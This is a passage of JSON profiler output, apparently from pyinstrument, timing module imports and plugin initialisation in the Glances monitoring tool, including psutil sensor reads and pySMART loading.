importlib._bootstrap_external>\\u00001287\",\"time\": 0.001971,\"attributes\": {\"cPathFinder\": 0.001970942998013925, \"l1295\": 0.001970942998013925},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.001971,\"attributes\": {\"cPathFinder\": 0.001970942998013925, \"l1269\": 0.001970942998013925},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001360\",\"time\": 0.001971,\"attributes\": {\"cFileFinder\": 0.001970942998013925, \"l1388\": 0.001970942998013925},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001355\",\"time\": 0.001971,\"attributes\": {\"cFileFinder\": 0.001970942998013925, \"l1357\": 0.001970942998013925},\"children\": [{\"identifier\": \"spec_from_file_location\\u0000<frozen importlib._bootstrap_external>\\u0000563\",\"time\": 0.001971,\"attributes\": {\"l599\": 0.001970942998013925},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001971,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.009999,\"attributes\": {\"l938\": 0.009999298003094736},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.009999,\"attributes\": {\"cSourceFileLoader\": 0.009999298003094736, \"l762\": 0.009999298003094736},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.009999,\"attributes\": {\"l491\": 0.009999298003094736},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/vms/__init__.py\\u00001\",\"time\": 0.002371,\"attributes\": {\"l18\": 0.002370756999880541},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002371,\"attributes\": {\"l1371\": 0.002370756999880541},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002371,\"attributes\": {\"l1342\": 0.002370756999880541},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002371,\"attributes\": {\"l938\": 0.002370756999880541},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002371,\"attributes\": {\"cSourceFileLoader\": 0.002370756999880541, \"l762\": 0.002370756999880541},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002371,\"attributes\": {\"l491\": 0.002370756999880541},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/vms/engines/virsh.py\\u00001\",\"time\": 0.002371,\"attributes\": {\"l30\": 0.002370756999880541},\"children\": [{\"identifier\": \"VmExtension\\u0000/home/nicolargo/dev/glances/glances/plugins/vms/engines/virsh.py\\u000030\",\"time\": 0.002371,\"attributes\": {\"l38\": 0.002370756999880541},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002371,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u00001\",\"time\": 0.001646,\"attributes\": {\"l147\": 0.0016462740022689104},\"children\": [{\"identifier\": \"__build_class__\\u0000<built-in>\\u00000\",\"time\": 0.001646,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001646,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/smart/__init__.py\\u00001\",\"time\": 0.005982,\"attributes\": {\"l44\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005982,\"attributes\": {\"l1371\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005982,\"attributes\": {\"l1342\": 0.005982267000945285},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.005982,\"attributes\": {\"l938\": 0.005982267000945285},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.005982,\"attributes\": {\"cSourceFileLoader\": 0.005982267000945285, \"l762\": 0.005982267000945285},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.005982,\"attributes\": {\"l491\": 0.005982267000945285},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pySMART/__init__.py\\u00001\",\"time\": 0.005982,\"attributes\": {\"l146\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005982,\"attributes\": {\"l1371\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005982,\"attributes\": {\"l1314\": 0.005982267000945285},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.005982,\"attributes\": {\"l491\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005982,\"attributes\": {\"l1371\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005982,\"attributes\": {\"l1314\": 0.005982267000945285},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.005982,\"attributes\": {\"l491\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005982,\"attributes\": {\"l1371\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005982,\"attributes\": {\"l1342\": 0.005982267000945285},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.005982,\"attributes\": {\"l938\": 0.005982267000945285},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.005982,\"attributes\": {\"cSourceFileLoader\": 0.005982267000945285, \"l762\": 0.005982267000945285},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.005982,\"attributes\": {\"l491\": 0.005982267000945285},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pySMART/interface/__init__.py\\u00001\",\"time\": 0.005982,\"attributes\": {\"l28\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005982,\"attributes\": {\"l1371\": 0.005982267000945285},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005982,\"attributes\": {\"l1342\": 0.005982267000945285},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.005982,\"attributes\": {\"l938\": 0.005982267000945285},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.005982,\"attributes\": {\"cSourceFileLoader\": 0.005982267000945285, \"l762\": 0.005982267000945285},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.005982,\"attributes\": {\"l491\": 0.005982267000945285},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pySMART/interface/nvme/__init__.py\\u00001\",\"time\": 0.005982,\"attributes\": {\"l24\": 0.003980645997216925, \"l29\": 0.00200162100372836},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003981,\"attributes\": {\"l1371\": 0.003980645997216925},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.003981,\"attributes\": {\"l1342\": 0.003980645997216925},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.003981,\"attributes\": {\"l938\": 0.003980645997216925},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.003981,\"attributes\": {\"cSourceFileLoader\": 0.003980645997216925, \"l758\": 0.00201851999736391, \"l762\": 0.001962125999853015},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002019,\"attributes\": {\"cSourceFileLoader\": 0.00201851999736391, \"l891\": 0.00201851999736391},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002019,\"attributes\": {\"l514\": 0.00201851999736391},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002019,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002019,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001962,\"attributes\": {\"l491\": 0.001962125999853015},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/humanfriendly/__init__.py\\u00001\",\"time\": 0.001962,\"attributes\": {\"l20\": 0.001962125999853015},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001962,\"attributes\": {\"l1371\": 0.001962125999853015},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001962,\"attributes\": {\"l1342\": 0.001962125999853015},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001962,\"attributes\": {\"l938\": 0.001962125999853015},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001962,\"attributes\": {\"cSourceFileLoader\": 0.001962125999853015, \"l762\": 0.001962125999853015},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001962,\"attributes\": {\"l491\": 0.001962125999853015},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/humanfriendly/compat.py\\u00001\",\"time\": 0.001962,\"attributes\": {\"l83\": 0.001962125999853015},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001962,\"attributes\": {\"l1371\": 0.001962125999853015},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001962,\"attributes\": {\"l1342\": 0.001962125999853015},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001962,\"attributes\": {\"l938\": 0.001962125999853015},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001962,\"attributes\": {\"cSourceFileLoader\": 0.001962125999853015, \"l762\": 0.001962125999853015},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001962,\"attributes\": {\"l491\": 0.001962125999853015},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/html/parser.py\\u00001\",\"time\": 0.001962,\"attributes\": {\"l44\": 0.001962125999853015},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.001962,\"attributes\": {\"l289\": 0.001962125999853015},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001962,\"attributes\": {\"l350\": 0.001962125999853015},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.001962,\"attributes\": {\"l766\": 0.001962125999853015},\"children\": [{\"identifier\": \"_code\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000590\",\"time\": 0.001962,\"attributes\": {\"l599\": 0.001962125999853015},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u000039\",\"time\": 0.001962,\"attributes\": {\"l124\": 0.001962125999853015},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u000039\",\"time\": 0.001962,\"attributes\": {\"l181\": 0.001962125999853015},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u000039\",\"time\": 0.001962,\"attributes\": {\"l88\": 0.001962125999853015},\"children\": [{\"identifier\": \"_optimize_charset\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000248\",\"time\": 0.001962,\"attributes\": {\"l353\": 0.001962125999853015},\"children\": [{\"identifier\": \"_mk_bitmap\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000400\",\"time\": 0.001962,\"attributes\": {\"l402\": 0.001962125999853015},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001962,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__new__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/enum.py\\u0000479\",\"time\": 0.002002,\"attributes\": {\"l549\": 0.00200162100372836},\"children\": [{\"identifier\": \"__set_name__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/enum.py\\u0000238\",\"time\": 0.002002,\"attributes\": {\"c_proto_member\": 0.00200162100372836, \"l274\": 0.00200162100372836},\"children\": [{\"identifier\": \"issubclass\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000180\",\"time\": 0.003998,\"attributes\": {\"cProcesslistPlugin\": 0.003998104999482166, \"l182\": 0.0020000090007670224, \"l204\": 0.0019980959987151437},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u000059\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000090007670224, \"l110\": 0.0020000090007670224},\"children\": [{\"identifier\": \"load_limits\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000723\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000090007670224, \"l746\": 0.0020000090007670224},\"children\": [{\"identifier\": \"debug\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/logging/__init__.py\\u00001498\",\"time\": 0.002000,\"attributes\": {\"cRootLogger\": 0.0020000090007670224, \"l1507\": 0.0020000090007670224},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"load\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000212\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019980959987151437, \"l225\": 0.0019980959987151437},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/glances/config.py\\u0000280\",\"time\": 0.001998,\"attributes\": {\"cConfig\": 0.0019980959987151437, \"l286\": 0.0019980959987151437},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/configparser.py\\u0000813\",\"time\": 0.001998,\"attributes\": {\"cConfigParser\": 0.0019980959987151437, \"l837\": 0.0019980959987151437},\"children\": [{\"identifier\": \"__getitem__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u00001019\",\"time\": 0.001998,\"attributes\": {\"cChainMap\": 0.0019980959987151437, \"l1022\": 0.0019980959987151437},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.015320,\"attributes\": {\"l88\": 0.015320320999308024},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.015320,\"attributes\": {\"l1398\": 0.015320320999308024},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.015320,\"attributes\": {\"l1371\": 0.015320320999308024},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.015320,\"attributes\": {\"l1342\": 0.015320320999308024},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.015320,\"attributes\": {\"l938\": 0.015320320999308024},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.015320,\"attributes\": {\"cSourceFileLoader\": 0.015320320999308024, \"l762\": 0.015320320999308024},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.015320,\"attributes\": {\"l491\": 0.015320320999308024},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/load/__init__.py\\u00001\",\"time\": 0.002004,\"attributes\": {\"l66\": 0.0020040849994984455},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002004,\"attributes\": {\"l1295\": 0.0020040849994984455},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/core/__init__.py\\u000044\",\"time\": 0.002004,\"attributes\": {\"cCorePlugin\": 0.0020040849994984455, \"l62\": 0.0020040849994984455},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002004,\"attributes\": {\"l1684\": 0.0020040849994984455},\"children\": [{\"identifier\": \"cpu_count_cores\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000564\",\"time\": 0.002004,\"attributes\": {\"l575\": 0.0020040849994984455},\"children\": [{\"identifier\": \"glob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000016\",\"time\": 0.002004,\"attributes\": {\"l31\": 0.0020040849994984455},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.002004,\"attributes\": {\"l66\": 0.0020040849994984455},\"children\": [{\"identifier\": \"has_magic\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u0000233\",\"time\": 0.002004,\"attributes\": {\"l237\": 0.0020040849994984455},\"children\": [{\"identifier\": \"Pattern.search\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u00001\",\"time\": 0.013316,\"attributes\": {\"l12\": 0.002000248001422733, \"l21\": 0.011315987998386845},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.002000,\"attributes\": {\"l1423\": 0.002000248001422733},\"children\": [{\"identifier\": \"__getattr__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/__init__.py\\u000050\",\"time\": 0.002000,\"attributes\": {\"l58\": 0.002000248001422733},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.011316,\"attributes\": {\"l1371\": 0.011315987998386845},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.011316,\"attributes\": {\"l1342\": 0.011315987998386845},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.011316,\"attributes\": {\"l938\": 0.011315987998386845},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.011316,\"attributes\": {\"cSourceFileLoader\": 0.011315987998386845, \"l762\": 0.011315987998386845},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.011316,\"attributes\": {\"l491\": 0.011315987998386845},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/sensor/glances_batpercent.py\\u00001\",\"time\": 0.011316,\"attributes\": {\"l31\": 0.011315987998386845},\"children\": [{\"identifier\": \"sensors_battery\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002363\",\"time\": 0.011316,\"attributes\": {\"l2373\": 0.011315987998386845},\"children\": [{\"identifier\": \"sensors_battery\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001401\",\"time\": 0.011316,\"attributes\": {\"l1436\": 0.011315987998386845},\"children\": [{\"identifier\": \"multi_bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001410\",\"time\": 0.011316,\"attributes\": {\"l1415\": 0.011315987998386845},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.011316,\"attributes\": {\"l730\": 0.011315987998386845},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.011316,\"attributes\": {\"l723\": 0.011315987998386845},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.011316,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.011316,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u000077\",\"time\": 0.335212,\"attributes\": {\"cSensorsPlugin\": 0.3352122159994906, \"l84\": 0.20767944199906196, \"l88\": 0.026959444003296085, \"l98\": 0.10057332999713253},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000322\",\"time\": 0.234639,\"attributes\": {\"cGlancesGrabSensors\": 0.23463888600235805, \"l329\": 0.23463888600235805},\"children\": [{\"identifier\": \"__fetch_data\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000334\",\"time\": 0.234639,\"attributes\": {\"cGlancesGrabSensors\": 0.23463888600235805, \"l338\": 0.0017684089980321005, \"l341\": 0.20591103300102986, \"l345\": 0.026959444003296085},\"children\": [{\"identifier\": \"filterwarnings\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/_py_warnings.py\\u0000254\",\"time\": 0.001768,\"attributes\": {\"l291\": 0.0017684089980321005},\"children\": [{\"identifier\": \"_add_filter\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/_py_warnings.py\\u0000320\",\"time\": 0.001768,\"attributes\": {\"l322\": 0.0017684089980321005},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001768,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"sensors_temperatures\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002312\",\"time\": 0.205911,\"attributes\": {\"l2326\": 0.20591103300102986},\"children\": [{\"identifier\": \"sensors_temperatures\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001252\",\"time\": 0.205911,\"attributes\": {\"l1277\": 0.0019961209982284345, \"l1289\": 0.19901111100625712, \"l1303\": 0.003302315999462735, \"l1305\": 0.0016014849970815703},\"children\": [{\"identifier\": \"glob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000016\",\"time\": 0.001996,\"attributes\": {\"l31\": 0.0019961209982284345},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.001996,\"attributes\": {\"l102\": 0.0019961209982284345},\"children\": [{\"identifier\": \"join\\u0000<frozen posixpath>\\u000072\",\"time\": 0.001996,\"attributes\": {\"l78\": 0.0019961209982284345},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.202313,\"attributes\": {\"l730\": 0.20231342700571986},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.202313,\"attributes\": {\"l719\": 0.19901111100625712, \"l723\": 0.003302315999462735},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.202313,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005467,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.010616,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003497,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001587,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002210,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001715,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.141868,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.004751,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003519,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003941,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003630,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003658,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003388,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003298,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003247,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003043,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002877,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001601,\"attributes\": {\"l722\": 0.0016014849970815703},\"children\": [{\"identifier\": \"TextIOWrapper.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001601,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001601,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": 